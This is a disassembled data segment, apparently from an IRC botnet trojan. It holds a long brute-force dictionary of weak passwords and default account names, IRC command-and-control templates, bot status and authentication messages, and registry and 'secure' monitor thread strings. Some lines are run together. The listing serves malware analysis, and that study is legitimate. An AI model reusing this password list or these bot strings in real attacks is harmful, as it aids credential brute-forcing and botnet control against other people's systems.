aBaseball	db 'baseball',0         ; DATA XREF: seg002:004235D0o
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: seg002:004235CCo
aBart		db 'bart',0             ; DATA XREF: seg002:004235C8o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: seg002:004235C4o
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg002:004235C0o
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:004235BCo
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg002:004235B8o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:004235B4o
aBanks		db 'banks',0            ; DATA XREF: seg002:004235B0o
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:004235ACo
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg002:004235A8o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:004235A4o
aBanana		db 'banana',0           ; DATA XREF: seg002:004235A0o
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:0042359Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg002:00423598o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:00423594o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:00423590o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:0042358Co
aBaby		db 'baby',0             ; DATA XREF: seg002:00423588o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg002:00423584o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: seg002:00423580o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:0042357Co
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:00423578o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg002:00423574o
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:00423570o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:0042356Co
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg002:00423568o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: seg002:00423564o
aAsian		db 'asian',0            ; DATA XREF: seg002:00423560o
		align 10h
aArtist		db 'artist',0           ; DATA XREF: seg002:0042355Co
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg002:00423558o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: seg002:00423554o
		align 4
aArmy		db 'army',0             ; DATA XREF: seg002:00423550o
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: seg002:0042354Co
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:00423548o
aAria		db 'aria',0             ; DATA XREF: seg002:00423544o
		align 4
aApril		db 'april',0            ; DATA XREF: seg002:00423540o
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:0042353Co
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg002:00423538o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg002:00423534o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:00423530o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:0042352Co
aAnswer		db 'answer',0           ; DATA XREF: seg002:00423528o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:00423524o
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg002:00423520o
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: seg002:0042351Co
aAnne		db 'anne',0             ; DATA XREF: seg002:00423518o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: seg002:00423514o
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg002:00423510o
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: seg002:0042350Co
aAnimal		db 'animal',0           ; DATA XREF: seg002:00423508o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: seg002:00423504o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg002:00423500o
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:004234FCo
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg002:004234F8o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:004234F4o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg002:004234F0o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg002:004234ECo
aAndrea		db 'andrea',0           ; DATA XREF: seg002:004234E8o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg002:004234E4o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:004234E0o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:004234DCo
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:004234D8o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg002:004234D4o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:004234D0o
		align 10h
aAmerica	db 'america',0          ; DATA XREF: seg002:004234CCo
aAmber		db 'amber',0            ; DATA XREF: seg002:004234C8o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: seg002:004234C4o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:004234C0o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:004234BCo
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg002:004234B8o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:004234B4o
aAlison		db 'alison',0           ; DATA XREF: seg002:004234B0o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:004234ACo
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg002:004234A8o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:004234A4o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg002:004234A0o
aAlias		db 'alias',0            ; DATA XREF: seg002:0042349Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:00423498o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:00423494o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: seg002:00423490o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg002:0042348Co
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: seg002:00423488o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:00423484o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:00423480o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg002:0042347Co
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:00423478o
		align 10h
aAids		db 'aids',0             ; DATA XREF: seg002:00423474o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:00423470o
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:0042346Co
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:00423468o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg002:00423464o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: seg002:00423460o
		align 4
aAction		db 'action',0           ; DATA XREF: seg002:0042345Co
		align 10h
aAccount	db 'account',0          ; DATA XREF: seg002:00423458o
aAcademic	db 'academic',0         ; DATA XREF: seg002:00423450o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:0042344Co
		align 10h
a000000		db '000000',0           ; DATA XREF: seg002:00423448o
					; seg002:00424E60o
		align 4
a00000		db '00000',0            ; DATA XREF: seg002:00423444o
					; seg002:00424E5Co
		align 10h
a0000		db '0000',0             ; DATA XREF: seg002:00423440o
					; seg002:00424E58o
		align 4
a000		db '000',0              ; DATA XREF: seg002:0042343Co
					; seg002:00424E54o
aTesting	db 'testing',0          ; DATA XREF: seg002:00423438o
aDeath		db 'death',0            ; DATA XREF: seg002:00423434o
		align 4
a00		db '00',0               ; DATA XREF: seg002:00423430o
					; seg002:00424E50o
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:00423428o
					; seg002:004252A0o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:00423424o
					; seg002:0042529Co
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:00423420o
					; seg002:00425298o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:0042341Co
					; seg002:00425294o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:00423418o
					; seg002:00425290o
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:00423414o
					; seg002:0042528Co
		align 4
aXxx		db 'xxx',0              ; DATA XREF: seg002:00423410o
					; seg002:00425288o
aXx		db 'xx',0               ; DATA XREF: seg002:0042340Co
					; seg002:00425284o
		align 10h
asc_429AE0:				; DATA XREF: seg002:00423408o
					; seg002:00425280o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:00423404o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:00423400o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:004233FCo
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:004233F8o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:004233F4o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:004233F0o
		align 4
aScript		db 'script',0           ; DATA XREF: seg002:004233ECo
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:004233E8o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg002:004233E4o
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:004233E0o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg002:004233DCo
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:004233D8o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg002:004233D4o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:004233D0o
					; seg002:00424EBCo
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg002:004233CCo
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:004233C8o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:004233C4o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: seg002:004233C0o
aSatanik	db 'satanik',0          ; DATA XREF: seg002:004233BCo
aSatan		db 'satan',0            ; DATA XREF: seg002:004233B8o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: seg002:004233B4o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:004233B0o
aMatt		db 'Matt',0             ; DATA XREF: seg002:004233ACo
		align 4
aMat		db 'Mat',0              ; DATA XREF: seg002:004233A8o
aPw		db 'pw',0               ; DATA XREF: seg002:004233A4o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:004233A0o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg002:0042339Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:00423398o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:00423394o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:00423390o
aMypc		db 'mypc',0             ; DATA XREF: seg002:0042338Co
		align 4
aLove		db 'love',0             ; DATA XREF: seg002:00423388o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: seg002:00423384o
aLogin		db 'login',0            ; DATA XREF: seg002:00423380o
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:0042337Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:00423378o
					; seg002:004252C0o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:00423374o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:00423370o
					; seg002:0042522Co
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg002:0042336Co
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:00423368o
					; seg002:004252D8o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg002:00423364o
		align 10h
aWin		db 'win',0              ; DATA XREF: seg002:00423360o
aTest123	db 'test123',0          ; DATA XREF: seg002:0042335Co
aAbc		db 'abc',0              ; DATA XREF: seg002:00423358o
aAaa		db 'aaa',0              ; DATA XREF: seg002:00423354o
					; seg002:00425200o
aA_1:					; DATA XREF: seg002:00423350o
					; seg002:004251F8o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:0042334Co
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: seg002:00423348o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:00423344o
aIrule		db 'irule',0            ; DATA XREF: seg002:00423340o
		align 4
aOwned		db 'owned',0            ; DATA XREF: seg002:0042333Co
		align 10h
a0wned		db '0wned',0            ; DATA XREF: seg002:00423338o
					; seg002:00424EC0o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:00423334o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:00423330o
		align 10h
aDevil		db 'devil',0            ; DATA XREF: seg002:0042332Co
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: seg002:00423328o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: seg002:00423324o
		align 4
aGod		db 'god',0              ; DATA XREF: seg002:00423320o
aSex_0		db 'sex',0              ; DATA XREF: seg002:0042331Co
aPat		db 'pat',0              ; DATA XREF: seg002:00423318o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:00423314o
aAlpha		db 'alpha',0            ; DATA XREF: seg002:00423310o
		align 4
a007		db '007',0              ; DATA XREF: seg002:0042330Co
					; seg002:00424EACo
a123abc		db '123abc',0           ; DATA XREF: seg002:00423308o
					; seg002:004250BCo
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:00423304o
					; seg002:004250C8o
		align 4
a123123		db '123123',0           ; DATA XREF: seg002:00423300o
					; seg002:00425068o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:004232FCo
					; seg002:00425060o
		align 4
a111111		db '111111',0           ; DATA XREF: seg002:004232F8o
					; seg002:00424ED8o
		align 4
a110		db '110',0              ; DATA XREF: seg002:004232F4o
					; seg002:0042502Co
a2600		db '2600',0             ; DATA XREF: seg002:004232F0o
					; seg002:004251B4o
		align 10h
a2002		db '2002',0             ; DATA XREF: seg002:004232E8o
					; seg002:004251A0o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg002:004232E4o
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg002:004232E0o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:004232DCo
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:004232D8o
a123asd		db '123asd',0           ; DATA XREF: seg002:004232D4o
					; seg002:004250C0o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:004232D0o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg002:004232CCo
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg002:004232C4o
					; seg002:004250C4o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: seg002:004232C0o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg002:004232B8o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: seg002:004232B4o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:004232ACo
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: seg002:004232A8o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg002:004232A4o
					; seg002:00424FF8o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:004232A0o
					; seg002:00424EE0o
		align 10h
a111		db '111',0              ; DATA XREF: seg002:0042329Co
					; seg002:00424ECCo
a54321		db '54321',0            ; DATA XREF: seg002:00423298o
					; seg002:004251C0o
		align 4
a654321		db '654321',0           ; DATA XREF: seg002:00423294o
					; seg002:004251C4o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:00423290o
					; seg002:00425080o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: seg002:0042328Co
					; seg002:0042507Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg002:00423288o
					; seg002:00425078o
a123456		db '123456',0           ; DATA XREF: seg002:00423284o
					; seg002:00425074o
		align 4
a12345		db '12345',0            ; DATA XREF: seg002:00423280o
					; seg002:00425070o
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:0042327Co
					; seg002:0042506Co
		align 4
a123		db '123',0              ; DATA XREF: seg002:00423278o
					; seg002:00425064o
a12		db '12',0               ; DATA XREF: seg002:00423274o
					; seg002:00425058o
		align 4
a1:					; DATA XREF: seg002:00423270o
					; seg002:00424EC4o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:0042326Co
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:00423268o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg002:00423264o
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:00423260o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: seg002:0042325Co
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:00423258o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:00423254o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:00423250o
					; seg002:00425610o
		align 10h
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:0042324Co
					; seg002:00425260o ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:00423248o
					; seg002:00425608o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:00423240o
					; seg002:00425600o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg002:0042323Co
					; seg002:004255FCo
		align 10h
aEdu		db 'edu',0              ; DATA XREF: seg002:00423238o
					; seg002:004255F8o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:00423234o
					; seg002:004255F4o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:00423230o
					; seg002:004255F0o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:0042322Co
					; seg002:004255ECo
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg002:00423228o
					; seg002:004255E8o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:00423224o
					; seg002:004255E4o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg002:00423220o
					; seg002:004255E0o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:0042321Co
					; seg002:004255DCo
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg002:00423218o
					; seg002:004255D8o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:00423214o
					; seg002:004255D4o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:00423210o
					; seg002:004255D0o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:0042320Co
					; seg002:004255CCo
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:00423208o
					; seg002:004255C8o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:00423204o
					; seg002:004255C4o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:004231FCo
					; seg002:004255BCo
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:004231F8o
					; seg002:004255B8o
		align 10h
aBla		db 'bla',0              ; DATA XREF: seg002:004231F4o
					; seg002:004255B4o
aFubar		db 'fubar',0            ; DATA XREF: seg002:004231F0o
					; seg002:004255B0o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:004231E4o
					; seg002:004255A4o
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg002:004231D4o
aOracle		db 'oracle',0           ; DATA XREF: seg002:004231D0o
					; seg002:004232BCo
		align 4
aDba		db 'dba',0              ; DATA XREF: seg002:004231CCo
aDatabase	db 'database',0         ; DATA XREF: seg002:004231C8o
					; seg002:004232B0o
		align 4
aDefault	db 'default',0          ; DATA XREF: seg002:004231C4o
					; seg002:00423950o
aGuest_0	db 'guest',0            ; DATA XREF: seg002:004231C0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:004231BCo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:004231B8o
					; seg002:004248E4o
aStudent	db 'student',0          ; DATA XREF: seg002:004231B4o
					; seg002:0042482Co
aOwner		db 'owner',0            ; DATA XREF: seg002:004231B0o
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:004231ACo
					; seg002:004232C8o
		align 4
aRoot		db 'root',0             ; DATA XREF: seg002:004231A8o
					; seg002:00423200o ...
		align 10h
aStaff		db 'staff',0            ; DATA XREF: seg002:004231A4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: seg002:004231A0o
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: seg002:0042319Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:00423198o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:00423194o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:00423190o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:0042318Co
					; seg002:004231ECo ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40EC42:loc_40ED4Do
					; seg002:00423188o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_4230DCo
a@room		db '*@room',0           ; DATA XREF: seg002:off_4230D8o
		align 4
unk_429FD8	db    2			; DATA XREF: sub_4089FD+555o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartR	db ' Failed to start registry thread, error: <%d>.',0
		align 4
unk_42A028	db    2			; DATA XREF: sub_4089FD+502o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRegistryMonito	db ' Registry monitor active.',0
		align 4
unk_42A064	db    2			; DATA XREF: sub_4089FD+4E2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start secure thread, error: <%d>.',0
		align 4
unk_42A0B4	db    2			; DATA XREF: sub_4089FD+491o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSystemSecureMo	db ' System secure monitor active.',0
		align 4
dword_42A0F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4089FD+456o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h, 25207325h, 25222064h,	2273h
dword_42A12C	dd 255C7325h, 73hdword_42A134	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4090B0+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_409218+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_409218+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2F3o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2DEo
		align 4
dword_42A1AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E2CAo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_42A1E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E2ADo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_42A214	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E23Do
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42A254	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E1DFo
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:0040E1D0o
					; seg000:0040E22Eo
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:0040E1BCo
					; seg000:0040E21Ao
		align 10h
asc_42A2E0:				; DATA XREF: seg000:0040E18Co
		unicode	0, <~>,0
dword_42A2E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E13Bo
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42A31C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E081o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_42A35C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E079o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42A39C	dd 72027002h, 1F631F6Fh, 2E2Ehdword_42A3A8	dd 636F7250h, 20737365h, 7473696Ch, 0dword_42A3B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DFD2o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFC5o
		align 4
dword_42A3FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DFB0o
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFA3o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DF7Bo
		align 10h
dword_42A450	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DF2Fo
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42A490	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DEF1o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_42A4BC	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040DEC6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42A508	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040DE55o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_42A538	dd 627573h	dword_42A53C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DDDDo
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_42A568	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040DDC2o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_5	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42A5B4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040DD35o
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_42A5E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DCAEo
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_42A60C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DC7Fo
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_42A638	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
